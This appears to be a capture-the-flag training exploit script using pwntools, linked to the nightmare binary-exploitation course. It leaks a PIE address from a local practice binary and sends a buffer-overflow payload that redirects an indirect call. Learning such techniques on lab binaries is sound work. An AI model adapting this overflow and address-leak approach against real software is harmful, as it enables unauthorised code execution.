# +------------------------------------------------+
# | Atack: Indirect Call Pie                       |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *
import time
import sf

target = process("./Correction-IndrCallPie-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("Don't live your life in shame: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
pie_base = leak - (4512)
bof_payload.add_base("pie", pie_base)
bof_payload.set_input_start(0x28)
bof_payload.add_int64(0x10, 0x1189, "pie")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Distrubed                              |
# +------------------------------------------------+
# | Song: The Light                                |
# +------------------------------------------------+
# | Sometimes darkness,                            |
# | can show you,                                  |
# | The light                                      |
# +------------------------------------------------+

